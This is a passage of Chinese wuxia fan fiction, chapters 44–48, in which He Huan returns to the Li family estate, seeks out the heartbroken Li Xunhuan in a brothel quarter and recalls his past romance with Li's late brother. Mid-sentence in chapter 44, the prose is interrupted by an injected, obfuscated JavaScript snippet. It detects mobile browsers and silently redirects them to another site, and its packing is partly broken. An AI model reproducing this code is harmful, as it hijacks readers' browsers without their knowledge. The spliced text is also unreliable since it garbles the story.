何欢满意的放开手,去和那两人相互介绍。 而李斯影,在大氅之下,他将仍然带着热气的手交握,作不经意状望向初次见面的少年。 只第一面,他就知道,冬日的太阳会晒化积雪。 …… “诗音…你,你这是?”龙啸云的目光落在两人交握的手上,林诗音的手微微颤抖了一下,随后又坚定的握了上来,“龙大哥,我与何公子青梅竹马,许久不见,彼此记挂也是理所当然。” 何欢意识到她想要做什么,便拍了拍她的手,等她转过头来,便冲她安慰一笑,“是的,诗音先前埋怨我许久不回来见她,所以使些小性子,让龙大侠见笑。” 林诗音顺势道:“你原先住的房间家里也还留着,干什么要去客栈,显得生分,在家中住下就好。” 何欢一愣,想拒绝的话被她的眼色堵在嘴里,千言万语化成一句:“不会麻烦你们吗?” “有什么麻烦,”林诗音笑,“你本就是我们的家人。” 这句话确是真心。 何欢无奈,用手指点了点她的鼻子。 允林诗音的要求之后,她如同枝头含苞的玉兰,挽着何欢出门时格外有底气,“走,去看看你原来住的院子。一直为你清扫着呢,谁知道一连三年你都没回来。” 何欢笑而不语。 等到了何欢往日住的“暖玉轩”,又在门口说了好一会儿话,林诗音才依依不舍的离开,离开前还问:“你不会又要不告而别吧?” 何欢只得再回答一遍,“不会的,你安心。” 原本说好晚间一起吃饭,可不知怎的李寻欢又遣了下人来说有事,等到明天中午再一起吃。何欢闻言也没有说别的,倒是一直在李园所以也认识何欢的那个小厮叹了口气。 “小欢少爷,我们家少爷最近不知道怎么了,一整天见不到人,他…他以前可不是这样的……求求您劝劝他吧。” “……寻欢说是有事,你可知道他去了哪里吗?” 小厮犹豫片刻,悄声道:“他…他去销金楼啦…” 销金楼并不是楼,而是一条街。 一条坐落在城西,只在晚上才会热闹起来的街。 日落时分,何欢往销金楼的方向走去。街上人来人往,熙攘繁盛。叫嚷声热情而嘈杂,人们多不拘小节,这是北国特有的风情。此外,也人多口杂,不知何时就能被人收集到小道消息,再转卖出去。 若要毁人名声、透露情报,只消在这条街上随口说一句话。不出三天,便能流言四起。何欢已听见不下五个人,在说“小李探花”的风流事。 夜色渐浓,销金楼却歌舞升平。用“琼林玉树竞奢华”形容这里,也是使得。哪怕时隔三年,何欢对这里也不陌生。而这里的人,对他同样很是熟悉。 “是何公子,是何公子诶!” “何公子回来啦。” “何公子可算是回来了,让我们好等呢。” “是何公子!何公子又英俊了不少呢。” 风韵犹存的半老徐娘倚在门框上同他打招呼。 在楼上用撑着窗户的姑娘冲他挥手。 龟公见他也带着笑,恨不得直接就把他引到自家楼里坐下喝茶。 何欢同他们打招呼,又婉言谢绝离得最近的老板娘要扯他进花楼的动作,苦笑道,“我这次是来找人的,姐姐饶过我吧。” “你找要什么样的,跟我说呀,我这里都有!” 何欢摆摆手,继续向前走去。满大街都知道小李探花所在的位置,就是销金楼的中心,倒便宜了他。 他与销金楼的渊源,要从与李斯影闹翻的那段时间说起。当时他不告而别跑出李园,便是在这边制香讨生活,约有小半年的时间,同整条街关系都不错。毕竟谁不喜欢彬彬有礼,温柔又俊秀,眼神清明,丝毫不觉得她们这行低微的小公子呢。 他往销金楼中心——金缕衣走去,进门就被扯住了衣袖。 是张熟面孔。 “何公子,你一走就是四年,让我们姑娘好等啊。”这小婢穿着蓝色衫裙,朴素至极,脸上不施粉黛,只有一双圆溜溜的大眼睛显得有些特色,她身上的活力却难得。 “是我的不是…霜霜姑娘还好吗?”他并不觉得冒犯,好脾气问。 小婢瘪瘪嘴,“你现在问我,不如直接去找她,她见到你,不开心估计也开心了。” “我现在还有着事,这…我改天再来找霜霜姑娘可好?” 小姑娘跺脚,“算了,就算你现在找她,她也没时间,她要跟这个探花那个公子说话的,哪里还记得你。” “……” “哈,你要找的就是这个探花,是不是?” 李寻欢坐在桌边饮酒。他身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345422|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经摞着五个空酒坛,却还在不停的喝酒。霜霜姑娘坐在屏风另一边,她芊芊素手不时拨弄一两声琴弦,视线却丝毫不停留在对面俊美的探花公子身上,只是往雕花的香粉奁上看,片刻又怔怔望向窗外。 直到李寻欢放下酒杯,整个人趴在桌子上,她才绕出屏风,用香扇掩面,叹了一口气,“你爱的人就在家里等你,你却在这种地方喝闷酒,真是身在福中不知福。” “我虽然爱她,却不能给她幸福。这样的爱,或者不如不给。我在这里喝酒,喝的却不是闷酒……”李寻欢似醉非醉,他喃喃道,“闷酒喝多了只会醉,这酒我喝下去…却怎样也不醉。” “一个人太痛的时候,烈酒也无法止痛,更无法让你忘记那些痛苦。”霜霜拾起另一只杯子,盯着里面的酒液,半晌叹了口气,“更何况,这酒并不是什么烈酒,不过是酒味的水罢了。” “姑娘千杯不醉,所以觉得这是水。实际上,这已经是我能找到的最烈的酒。”李寻欢说话间又拍开一坛酒封,浓烈酒气让不善饮酒的人闻之欲醉。 “那只能说李探花见识还不够,”霜霜望向窗边,“倘若我还能再见到他……” “姑娘何苦痴痴等一个不归人。”李寻欢这话说出来,也不知道是在劝谁。 “你没见过他,你不了解他,所以你不懂,我等待的每一分每一秒,都是有意义的……只因为我等的是他,所以等待的时间也变得美好。”霜霜看向李寻欢,片刻后冷笑一声,“而等你的那个人,她等待的时间才真的是痛苦。这就是你与他的区别。” “有些人,能把别人从泥潭里救出来,让人觉得活着还是有价值的。而有些人…他们会把别人推下泥潭,让她们挣扎的每分每秒都是窒息与痛苦,自己还觉得是为了别人好。” 李寻欢的口腔到胃都好像被她锐利的语言刺破了一般,那些酒也在此刻作祟,让伤口卷起大火,他喃喃,“可我还能怎么办,我已经没有办法。” 就在此刻,有人敲门,“小姐,有人想要见你。” 霜霜闻言坐在了李寻欢身侧,才朗声,“怎么,他不知道李探花现在是我的客人吗?” “但是小姐,他还是执意要见你,顺便,还要看一眼李探花。” “……” “或许你不如去开开门,”李寻欢撑着头,露出有些恍惚的笑,“你这婢女一向为你考虑,你难道听不出来她现在在替你生气的同时,还在替你高兴?这个人,一定是你乐意看到的人。” 霜霜瞪了他一眼,又觉得他说的好像有几分道理,于是去开门。 门打开后,是一个陌生又熟悉的身影,他见门开了,便抬起头。他穿着一身淡蓝色的云锦,一双桃花眼写尽温柔,见她出来,露出一如既往的温暖笑容,“霜霜姑娘,许久不见了。” 霜霜见到他,本想与他一同笑,可一勾嘴角,泪珠却掉了下来。 她有千言万语想要诉说给这个人,想要埋怨他,想要抓他咬他,想要打他问他为什么走了那么久都不写一封信回来,最后却只是挽起头发,梨花带雨仍露出笑颜的说出一句。 “你,你回来啦,真好……” 45.第 45 章 “嗯,我回来了。”何欢拿出手帕,为霜霜擦去眼泪,“害你流眼泪,是我的错,抱歉。” “有人道歉的心不诚,”霜霜拉住他的手,虽然那么说着,心情明显好了很多,“你难道只为害我流眼泪而道歉吗?你出去这么久,回来都不第一时间来找我,也不跟我讲你经历了什么,你该不该罚,该不该骂?” “该罚,该骂,霜霜姐姐打我吧。”何欢露出乖巧神色,被霜霜笑着拍了一下手,随后挽着他走进房间。 殊不知房间内李寻欢已经白了一张脸。 等何欢进门,面对房间里的李寻欢,神色不变,笑着喊了一句,“寻欢。” 李寻欢勉强露出一个笑来,“我竟不知道,欢弟在这里也有友人,我这朋友当的不称职。” 他似乎是误会了什么,脸色越发惨淡。像他这样的人,当意识到自己可能“抢”了朋友的红颜知己之后,是一定要把所有的错全揽在自己身上的。他此刻极为自责,以至于不知道接下来该怎么寒暄、怎么装出一副满不在乎的样子。 他在很多人面前都装作风流浪子的模样,时时刻刻注意不要流露出真正的自己,他做的很好,但也会累。霜霜与他相同,都需要一个挡箭牌而不会对彼此动心,只有在她面前李寻欢才能放松片刻,变成真正的自己。 在她面前露出的痛苦不会被怜悯也不会被讥讽,李寻欢已经把她看成是朋友。可这话如今说来,何欢真的会信吗? 他已不敢看何欢的神情。 何欢却笑道:“难道朋友之间就该什么都知道吗,你这不称职从何而来?” 霜霜看了看何欢,又看了看李寻欢,已经意识到什么,轻轻拧了拧何欢的脸颊肉,“原来你不是专程来找我的。” “原本想着回保定就来看你,还给你买了当下时兴的水粉和首饰,但如今……咳,你也知道,寻欢是我的朋友,我不能不管他。” 霜霜一双柔情似水的眼眸绕着何欢打转,闻言对李寻欢却有些不假辞色,“我只知道你心软,但是对这个人,你可不能太心软。他大多时候,都是咎由自取而已。” 她作为一个女人,理当站在另一个伤心的女人立场上鄙视李寻欢,何欢很是理解。只是…… 何欢转头看看面色惨淡的李寻欢,又看了一眼霜霜,意识到她知道的绝对不少,于是轻笑,“他只是太倔了,需要人推上一把。” “接下来这里怕有不少不想让我听见的话,我还是先出去吧。”霜霜无奈。 “等事情了结,定会好好补偿霜霜姐姐。” 霜霜一扬眉,“那你可得想好送我什么。” 她身姿绰约,如同白鹤一般远去。 “不知道你现在是醉着还是清醒的,”何欢坐下,看了看他身边的酒坛,“我知道你酒量一直不错,但也没想到你有朝一日看起来会像个酒鬼,不醉不归家。” “似乎怎么样也喝不醉,又好像一直不清醒,一直在梦里。”李寻欢又想拿酒杯,被何欢摁住了手。 他轻嗅杯中酒液,笑着摇了摇头,“不知道你听没听过这句话——酒能解愁,也能忘忧。” “听是听过,只是……”李寻欢苦笑一声。 “这酒既不能消解忧愁,也不能排解苦闷,喝了也无用。不如试试这一瓶。”他自身后拿出一掌大小的白瓷瓶,酒塞被雕刻成一朵花的形状,看起来格外雅致。 “这酒瓶倒是别致。既然是你推荐,其中酒液定是精品。”李寻欢本就不想同何欢谈那些宛如乱麻,生长在他血肉、唇舌间全是痛苦之事。让何欢碰见这桩闹剧,也会让他想起曾经他自己颇不赞同的大哥。他此时此刻在做的事,相比他大哥又有什么不同?但……事已至此,痛苦又有什么用呢? 不如饮尽杯中酒。 他将酒塞拔开,初时闻着只觉得无色无味如同白水,入喉却让脑海中升起烟云迷雾,飘飘然不知所以。他眼前闪过此刻思念之人的笑靥,露出不自知的一个笑来。那个人入他梦中,如往昔般灿烂,正是近日无论如何也无法自她那张绝美面容上窥见的神色。 他轻轻唤她:“表妹……” 何欢见他醉倒在桌边,唇边终于露出微笑,似是做起了美梦,摸了摸李寻欢的头发,随后抚平他微蹙的眉头——那是这段时间的紧锁的苦闷。 “真是……如出一辙的不爱惜自己。”他叹息。“你们都是聪明人,又岂会不知,自苦时也苦了他人。” …… 沈浪本与李园上任主人有旧。当年,沈浪寄信说有一子侄近日来保定,希望能在李园暂住。却没想到,沧海桑田,故友去世已久,只留下不足弱冠的李斯影撑起李园。即便如此,李斯影还是回信欢迎何欢前来。 这其中有沈浪的人情。不过,大概也有李斯影本人的确是个爱操心的好人的缘故。 这些,都是后来何欢从李寻欢和林诗音的口中才知道的。 或许因为是家中长子,母亲早逝,父亲又一向严格的原因,李斯影在李园更多承担了父母的责任,并不在意自己。相对而言,他大部分时间都花在照顾弟妹、还有何欢这个远道而来的客人身上。李寻欢和林诗音年龄相仿,又是表兄妹,常常待在一起,因此,李斯影格外照顾何欢。 他见何欢来时什么都没带,就让家中加急赶制,怕何欢不适应当地寒冷气候,还让李寻欢匀出来几身冬日做的新衣裳。 这日,他叫何欢来书房,询问他还需要添置什么东西、最近有没有什么不适 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他还在长个儿,头只到李斯影的肩头,李斯影对他并无戒备心任由他接近,以为他是想靠近些观察或者摸一摸这些肌肉。却没想到他靠近后,竟轻轻将头贴近了李斯影的胸膛。 伴随他的动作,李斯影闻到一股草木的清香,沾染了清晨日光下,草叶间滚动的露珠。少年人的身子像一枝苍翠的竹,如今好像被雪压弯了腰才得入怀,让人想要为他掸去身上落雪,又想让竹在身侧多依偎片刻。 一时之间,天地寂静。不知多久,窗外的冰棘棱与屋檐处相连的地方率先被太阳晒化,噼咔噼咔掉在地上。随着正午日头越大,落地时的声音越快,李斯影听在耳间,连心跳也莫名应和着声响不由自主变快。 何欢这时,才慢吞吞挪开身子,道:“有些树表面上看起来很健康,其实内里已经被虫蛀空了。我担心大哥也是如此。不过刚刚,听见你心跳声很稳健,应当是我之前想错了。” “啊……嗯……是的,没错,所以你别担心。今日化雪,我还有些事,你和寻欢他们去玩雪吧。”李斯影表面上仍作冷静状,实则等何欢走后,他才意识到自己说了什么。 他跌回座位上,扶住自己的头,掩面深呼吸。 你为什么不推开他?他问自己。是因为从未与人这么亲密接触过吗?是贪图转瞬即逝的柔软与温度吗? 如今是对谁,生出了什么样的心思,你真的知道吗?他……他比你的弟妹还小啊。 不可如此,不可如此。这只是一念之差,只要少些接触,很快就会消散的。 可那双露在外面通红的耳朵,温度却怎样都消不下去。 正如依旧过速的心跳,在胸腔中冲撞。 46.第 46 章 李寻欢做了一个梦。 他梦见自己从来没有遇见过龙啸云。 遭遇仇家围堵,他九死一生逃了出来,昏迷在了塞外,被边疆牧民搭救,等身体恢复已经半年有余,他急急忙忙赶回李园,生怕祸及家人。好在旧友赶来护着一家老小。 他谢过好友,心有余悸的抱住扑进自己怀里痛哭的诗音,情不自禁的问道,“表妹,我心悦你,你……你可否与我成婚?” 她秋眸盈水,粉面含春,任谁都品得出她眼中情意。 那年冬天,红梅与红色灯笼交相辉映,宾客与朋友的欢笑声几乎要盖过鞭炮声,刚下过的大雪也无法冻结泼天的喜意与豪情。 李寻欢骑在马上,身后是乘着心上人的轿撵,一眼望去是过命交情的朋友。他被祝贺和善意的调侃声包围,日头那么好,好的前程似锦,一片光明。 他已经有过金榜题名时,可那喜悦也比不得此时此刻洞房花烛。烛光下看美人,如珠似宝。 一年后,他们有了一个孩子,是个调皮的男孩,起名叫李牧音。有时候这孩子犯了错,李寻欢总是对他心软,反而是林诗音,是个严母。 但倘若问起李牧音更喜欢父亲还是母亲…… 这孩子回答:因为母亲那么美,所以喜欢母亲。 时光荏苒,昔日的一对璧人携手白头,他们也吵过架、红过脸,年少的时候也因为大大小小的事埋怨过对方,却从未后悔过在一起,也一直相互关爱。 直到斯人逝去,痛彻心扉,才醒过来,明白只是大梦一场。 白瓷酒瓶在桌边放着,美梦却已经逝去了。 因为这场梦,李寻欢更觉得对不起龙啸云。他放弃和诗音在一起的最后一点犹豫,整宿整宿的流连在外,被脂粉和酒水熏得入味,有时半夜醒来都嫌弃自己。 林诗音终于死心,和龙啸云在一起了。 巧合的是,他们大婚当晚也下了雪。大雪压垮了李园唯一一株合欢树。李寻欢拾起这棵树的树枝,带着这唯一属于又不属于李园的东西,离开了保定,去了关外。 他以为林诗音会过得很好。 …… 他真的这样认为吗? 他真的从来没有怀疑过,林诗音和龙啸云在一起,会过得很好吗? 以为自己已经醒了的人还在梦中,梦境之外的人看着他又一次蹙起的眉头,失笑摇头。 “怎么就那么别扭?那你就多睡一会儿吧……” 何欢看了看已经空空如也的白瓷瓶,索性将它放在这里,自己推门离开。 霜霜不在,但她的侍女守在门口,见到何欢出来就问,“你又要走了?” “只是今日已晚,打算回去歇下而已。至于李探花……放在那里不管也罢,让他多吃点苦头。戌时大概会醒,到时候再看吧。” “怎么,难道他还会像话本子里一样突然醒悟,直接奔回家去求他家里人原谅么?”她明显是觉得不可能。 何欢却笑:“你怎知不会?话本里写的,或许是真的呢?” “这话说出来神神叨叨,白亏你的好皮囊咯。”小姑娘冲他噘噘嘴。 “因为他为人和善,你就这样编排他,小心被妈妈听到,打你手心。”霜霜此刻上来,开口替何欢解围。 小姑娘做个鬼脸,转身就跑下楼,一过拐角就不见影子。 霜霜看向何欢,“她见你回来,心中欢喜,不然不会这么多话。” “我见到你们,也很高兴。”何欢道。 “……当时你走,我就知道,你短时间不会再回这里来了。可是我不曾想,你一走就是五年。倒是三五不时地来信,却根本让别人找不到你,信也总寄不到你手里。” “你不用急着回我,”霜霜看他打算开口,冲他摇了摇头,“你在信里跟我说,家里人照顾你、你过得很好;又学了什么手艺,活的自由畅快,我一个字也不信。” “你如果过得很好,就不会居无定所不停漂泊;倒是记得用好的信纸和墨写信给我,却每封信都挤挤巴巴,香也熏得杂乱;活的自由畅快?……哼,你倘若是个没心没肺的王八蛋,我倒可以相信你在外面逍遥快活也不回来。” 她说着说着又要流泪,“你这个笨蛋,一直都是这样,只知道关心别人,却从来不知道别人有多关心你。” 何欢有些慌乱地替她擦眼泪:“怎么说着说着又哭了……我如今真的过得很好,没骗你。此次还想问你,要不要跟我一起走?去洛阳那边,开个女学。你不是一直都想办女学么?” 霜霜闻言,抬起头看他,泪光闪闪中透出些恍惚,想起什么似的,叹口气道:“原来你还记得……不过是曾经的戏言,除非大赦天下,我哪里能出去。” 她因皇帝亲小人远贤臣、父亲被冤下狱,女眷充作官妓,与其他人不同,无法轻易离开这里。 何欢却道:“只要你说愿意,我就有办法。” 她愣住了,半晌才问:“你……若害你陷进麻烦里,我倒宁愿不做。” “不会。”何欢笃信道。 霜霜仿佛才发现,他已经长得极高,肩宽也不似曾经少年模样,而是一个可靠的男人了。 “你这趟回来,精气神都大不一样……真是变了,”霜霜看着他,眼中似有欣慰,“你有这个心,我就很满足了。至于女学……你、你容我再想想。” “好罢,只是你要知道,我总会支持你的。”何欢认真道。 何欢离开销金窟前,回首再度望向这条街。 脂粉、酒香,伴随靡靡乐器和歌声,舞姬旋转时鼓点应和舞步、金铃在腰间晃动迷乱人眼。高烛照红妆,灯火通明中,无形让人忘记原本身处黑暗。 他有时候,会不确定人的接受程度,因此规劝自己,要一步一步地、慢慢地来;可这世上发生的一桩桩一件件事,都在告诉他,时间会飞快改变人的模样,若太慢了,只怕会来不及。 随即,他想到霜霜的话,自己在心中思忖:我的变化也很大么?原来,哪怕是树,在人群之中,也会逐渐被人群影响。 …… 李寻欢又是两天没有回家。 林诗音在一旁闷闷不乐,何欢在书房写字,她说好在一旁做女工,结果半天只绣出一枚竹叶。 随后,她放下绣架,郁闷问道:“你之前说要带我出门见识,还作不作数?” 何欢放下笔,看向她:“怎么,你想出去散散心?” 林诗音道:“整天待在这儿 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李斯影不如一开始那么照顾他,大概和王怜花一样,一开始的新鲜劲儿下去了,就懒得再管。何欢不觉得这有什么。这天雪化得差不多干净,何欢披上斗篷去赏梅花。 正好遇见李寻欢和林诗音。小小的林诗音看见有外人来,躲在李寻欢身后,悄悄探头去看何欢,像只小猫。 何欢想:他们看起来更喜欢两个人待在一起,就冲他们点点头,要转身离开。 还是李寻欢先搭话:“你这斗篷的纹样,跟我哥哥惯穿的好像。” 何欢又转回身来,有些不解:“斗篷纹样,还有不同么?” “有啊,我和诗音爱用云纹的,你和大哥的斗篷用的都是飞禽纹,应当是他给你选的吧。” 何欢看了看身上的料子,露出笑来:“我也很喜欢鸟。” 他去找李斯影,正巧李斯影在书房里发呆,没有在做事。 他从支棱着的窗户里探进半个头,道:“大哥。” 李斯影被他吓得一个激灵,猛地站起身来,膝盖磕在桌角上,痛得他轻呼一声。 何欢见状,单手撑着窗棱一下翻进来,扶住踉跄的李斯影。 “对不起,大哥,吓到你了。”他道歉。 “没有,是我在想事情太出神了,不怪你。”李斯影被他扶着,有些僵硬地坐回椅子上。 “你磕的厉害吗,要不要冰敷一下?”何欢问。 “不必了,并无大碍。” “那就是有小碍吧,不要讳疾忌医啊。”何欢道。 饶是李斯影心头装着事,也不免被他逗笑,“怎么就到讳疾忌医的地步了?好好好,我现在就回去处理。” 随后,他又问:“所以,小欢今天来找我是有什么事?” 何欢眨眨眼睛,抬头看他,露出高兴地笑容:“哦,我想谢谢大哥给我做的斗篷,我很喜欢。” “我喜欢飞鸟。” 在天际自由盘旋的白鸟,落下一片洁白的羽毛,轻轻挠了挠俗世凡人的心房。 李斯影终于没忍住,抬起手轻轻摸了摸他的头顶,道:“那就好。我也很喜欢……飞鸟。” 47.第 47 章 人真的有魂灵吗? 何欢不免想起水母阴姬问他的话。 倘若真存在,为什么他从未见过?是因为来的太迟,等他到时魂魄已经被引渡黄泉?又或者,活着的时候无论谁都看不见这些。毕竟,他也不是木边见鬼的“槐”。 那么,烧去的信是化作灰烬,还是被人接收到了呢? 熏过香的纸张烧起来也不过是一缕青烟,味道与寻常纸张无异。香炉中香在燃烧,香灰落下,没什么异样。 林诗音说她不能来这里,李寻欢也不在,还是老管家牵了马车安排的行程。如今有旁人在场,好像在警醒他三缄其口。 好在,一切想说的话都在信纸上,他只站在那人坟前,缄口不言。 时候差不多了,他抬头看天,依旧晴朗,有鸟雀掠过天际,寒风吹拂,一片枯黄树叶恰巧跌在何欢掌心,叶脉清晰得像支离病骨。他垂眸看了稍息,将树叶放在那人坟前。 “走吧。”他对马车的方向道。 有人的声音自马车后响起,“你可以与他说两句话的。” 是多时不见的李寻欢。 何欢之前就听见有未加掩饰的脚步声,如今并不惊讶,只笑笑道:“原也没什么好说。” 李寻欢正轻轻靠在马车旁,车夫如今已不见踪影,不知被他差遣到哪里去,闻言,他起身走过来,那双碧绿色的眼睛里流淌出破冰的哀伤:“你还在恨他吗?” 何欢闻言讶异:“我为什么要恨他?” “因为他……”李寻欢似有难言,也是,他认为自己大哥那样做是错的,他又怎么能够在大哥坟前,对着他的爱人议论他的错误。 “因为他与我交好后冷淡我;在与我约定后反口否认;在生病时欺瞒我,为了逼我离开还演了一出仍旧心系女子的戏码给我看吗?”何欢问。 “还是因为他在临死前又反悔,托怜花前辈寄信给我,藕断丝连,想要见我最后一面呢?” 以为已经释怀,可有些话说出口仍旧感觉胸闷,像是被那些话背后的过往细细密密纠缠,一圈一圈束缚,直到变成茧状。 好在,他原本就不是用肺呼吸,所以可以说出口,可以暂时忍受。正如当时李斯影认为的“长痛不如短痛”。 但,他为何又认定那会是长痛,而不是春日的雨,夏日的风,是一切会造成影响却不是错误的东西? 李寻欢眼底像升腾起雾气的森林,何欢在他眼中看见自己落下的一滴泪。 他笑:“我从不恨他。只是埋怨过他,如今也已经如过眼云烟。可寻欢,你现在在做的事情,继续下去只会有更加糟糕的结局。” 李寻欢沉默许久,突然,他道:“下雪了。” 先是轻盈的小雪,随后是鹅毛般的雪花。 李寻欢问:“要去泡温泉吗?” 何欢一愣:“现在?” “下雪了,就该去泡温泉,对吧。” …… 离此处不远,城外泉山,温泉萦绕。李家在那处建了一座温泉山庄,前两日已经打扫干净,正好他们过去泡温泉。 “你前两日一直不见人影,就是去做这事?”何欢问。 李寻欢只道:“有几年没去,修整起来是有些费功夫。” 扇窗门前还停着另一驾马车。 一只纤纤玉手掀开帘子,带着面纱的林诗音只露出一双翦水秋瞳,就让人心向神往,她带笑的声音也好听极了,“怎么那个表情,你见到了我,究竟是开心,还是不开心呢?” 何欢摇摇头,笑,“哪有不开心的道理。你来,我自然高兴。那边的药汤现在可还供应着?需不需要我们顺趟去医馆买些药材来?” “不必,我身子又不弱。”她与李寻欢对视,见对方含情脉脉望着她,只觉得之前的哀怨都又不见了,只是娇羞一笑。 何欢见状,笑着摇摇头,“雪下大了,快进去吧。” 等何欢收拾好往温泉去的时候,就看到李寻欢和龙啸云在一旁站着,他俩甚至仍旧有说有笑。 他自认算是了解李寻欢,可如今也不知道自己究竟是否真的知道他的所思所想。 何欢一怔,脚步便有些迟缓。 说到底,他没什么资格管这事。他唯一能做的,就是让李寻欢认清自己的心。 只是……可怜了那壶酒。 多少人都以为乌云遮目,无法看清自己的本心。而真正看清了的人,好似只以为那是普通的大梦一场。 龙啸云却仿佛什么都感受不到,拍了拍了李寻欢的肩膀,哈哈笑着,“冬天泡温泉,寻欢的确很会享受。” 三人一道往温泉去。女汤距离这边有一座假山的距离,两边互相听不见也看不到,却有一条绳索系着铃铛,横亘其中。女汤那边有一竹编的小篮子,篮子里是几块穿了孔的中空木牌。倘若对面有什么事,便可以往木牌里塞纸条,再摇一摇铃铛,这边就会拉起绳子把木牌捎过来。 这是他们四人少时,来别庄度假,为了不让林诗音觉得孤单而做。如今再看,绳子虽然有人保养,却已然老旧,绳上的铃铛也因为水汽蒸腾而锈死。有人长埋泉下,有人四处漂泊。而当时两小无猜的人,已经变了模样。骤乎,物是人非感便涌上心头。 何欢抬手轻轻碰了碰这绳子,神情不明。 龙啸云在一边道,“这绳子和铃铛看起来都很老旧了,怎么不差人换新的来?” “许久不曾使用过了。”李寻欢也恍惚了一瞬间,随后轻声答道。 …… 冬日,实在是太冷了。李寻欢求着李斯影带他们去温泉别庄玩。 李斯影反问何欢,“你想去吗?” 当时,他们已经确定下关系,只是没叫任何人知晓。 何欢从一侧探头出来,笑:“我没去过,好玩吗?” 李寻欢抢答:“好玩,可以在一起玩水,很暖和。” “哦……”何欢懵懵懂懂的,“像下水游泳?” “不是,不太一样。” 李斯影笑着看他,同意一起来别庄过冬。 到了庄子,何欢惊讶:“好暖和……”紧接着,他看见草地上星星点点开放的小花,更加怔 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李寻欢觉得可以,但看着何欢还是一个劲摇头,就认为自己也不能输了男子气概,坚定摇头:“今天不泡了,大哥你在这泡吧,我去逛逛园子。”说完他就跑了。 只剩李斯影和何欢两人,何欢躲得远远的,连水都不想碰一下。 虽说成为精怪之后,这些普通花草早已经不是同类,但年纪尚轻的何欢仍然对此有种感同身受的不适。 沉默半晌,他问:“所以,你喜欢这个?喜欢……花?” 李斯影原本想说不喜欢,可他细想,又道:“为草当作兰……谁人不爱花呢?倘若生而为草木,我应当也想做会开花的草木。” 何欢欲言又止。 李斯影却因为不得志,而显得有些惆怅,他说:“探花……唉,父亲因为我也是探花,所以很是郁郁,不愿提起此事。明年,寻欢也要参加会试,希望他能取得让父亲满意的好成绩,以慰他在天之灵。” 对此,何欢一无所知。 他动动耳朵,只道:“寻欢和诗音过来了。” “什么?”李斯影一愣。 “欢弟,小欢!出来出来!”李寻欢在门口向何欢招手。 三人凑在一起嘀嘀咕咕,半晌,何欢又回来,看见李斯影已经穿戴整齐,他好奇,“你不再泡一会儿吗?” “你们都在上面,我自己在水里泡着有什么意思,怎么,发生什么事了吗?” “诗音说她一个人很无聊。”何欢道,“诗音她没有同年龄的玩伴吗?该一起叫过来的。” 李斯影闻言有些愧疚:“是我疏忽,诗音她素日没机会出门交友,如今让她一人孤单了。” 李寻欢进来,没听见他们之前说的话,指着假山道:“两个池子由这假山相隔,我们可以在这里——” 他在为他喜欢的女孩认真解决每一件小事。 李斯影笑:“好罢,依你说的办。” 48.第 48 章 “既然已经老旧,不如遣人来清理掉吧。”龙啸云大大咧咧道。 李寻欢自他身后,不着痕迹望着他,“不必。” 或许是因为瞳色异于常人,他的眼神在冷淡时恰如薄冰。何欢见状,刚刚想说的一切都再度咽下,轻笑道:“往事不可追,今日仍可鉴。岸上湿冷,我建议,当下泡温泉才是一等要紧事。” 阶上的青苔已经除去,热气蒸腾下不见雪的痕迹,只留远方屋顶上的残白,映照格外亮堂的月光。高挂的灯笼于夜风中摇曳,灯火明暗,乍隐乍现。 等进了池子,何欢喟叹一声,“早该下来,刚刚站在岸上显得怪傻的。” 李寻欢笑,“是极,再配上一壶温酒,就更好了。” 何欢摇摇头,“泡温泉怎能饮酒……真是嗜酒之人,什么时候都觉得酒能增添情趣。” 他说到这,走神一瞬,又笑:“倒是让我想起来一个人。” 李寻欢扬眉:“哦?何人?” 何欢正要答话,突然听见那生锈的铃铛轻轻颤动,响起与记忆格外不同的、低哑的震音。 此时并无风,他与李寻欢对视一眼,扭头看去,试探着拉了拉绳子,就见一个小木牌被缓缓牵引而来。 他惊异之际,不想让龙啸云看见,像李寻欢使个眼色,对方点头,向前两步与龙啸云闲聊,替他挡住动作。 何欢先用岸边的手巾擦干净水,才将木牌拿下,拿出其中纸条。林诗音好似饮了些酒,纸条上有淡淡酒香,她的字迹也颤抖。只见上面写道: 何欢吾亲, 月前交心,已使我念及旧事,辗转多日。 此日同往山庄,本以为此心已有归乡,不料明月却照沟渠。故而痛下决心,只愿得君相助。 …… …… 另,长兄西辞前遣信一封,愚妹误启,愧甚。于相见时,再另辞罪。 信? 何欢垂眸。 李寻欢听见他说:“我突然想起有些事要做,先行一步。”他也知道刚刚林诗音传来的纸条,如今听见何欢要走,担心是林诗音那边出了事,问道:“怎么,是身体不适吗?可需要我同你一起?” 何欢望向他。 他一如往常,无所知的模样。 随即,何欢笑道:“泡太久了,有些饿,想去吃点宵夜。不必担心。” 如果这封信真的是写给他一人的,凭李斯影的心智,断不会让人误会。 所以,他留给的到底是何欢,还是……李寻欢? 当年王怜花将《怜花宝典》交给李寻欢,何欢恹恹道:“怎么还要找传人,我还不够么?” 说出这话的同时,就被掐着脸狠狠教导了一番制衡。王怜花道:“你把自己的弱点送出去,我若不给李家做一个,世人更愿意相信的、更大的弱点抓在手里,你以后被威胁了怎么办?” 随着王怜花对他的摆弄,何欢丝毫不做反抗,顺他的力道摇来摆去,王怜花原本扭着他脸的动作,缓缓变轻,最后手指掐在他的下巴上,挑起他的头。 他们一坐一站,恰似当年,只不过颠倒过来。 何欢了无意趣的望着他。这个三十余岁,眉眼间依旧美艳而狠厉的男人轻笑着,另一只手用那本真假参半的秘籍轻拍他的脸,问:“要不,我带你一起走吧?你啊……一个人留在这里,会被啃的一根骨头也不剩的。” “……”何欢面无表情的看着他。 “唉……小呆子。”他装模作样摇了摇头,“我对你还不够好么,怎么让你出去没两年就喜欢上不知哪里的差劲男人。” “你这是在报复我之前说你喜欢我的话吗?”何欢问,“而且,纵观你的情史,你也不是多好的男人。” 被说中的王怜花恼羞成怒,又狠狠戳他的脑袋,“你这吃里扒外的傻小子,改天被拿捏住把柄的时候,可不要指望飞鸽传书过海,让我救你!” 真让他说对了不成……何欢望向相约的假山方向,在心底叹了口气。 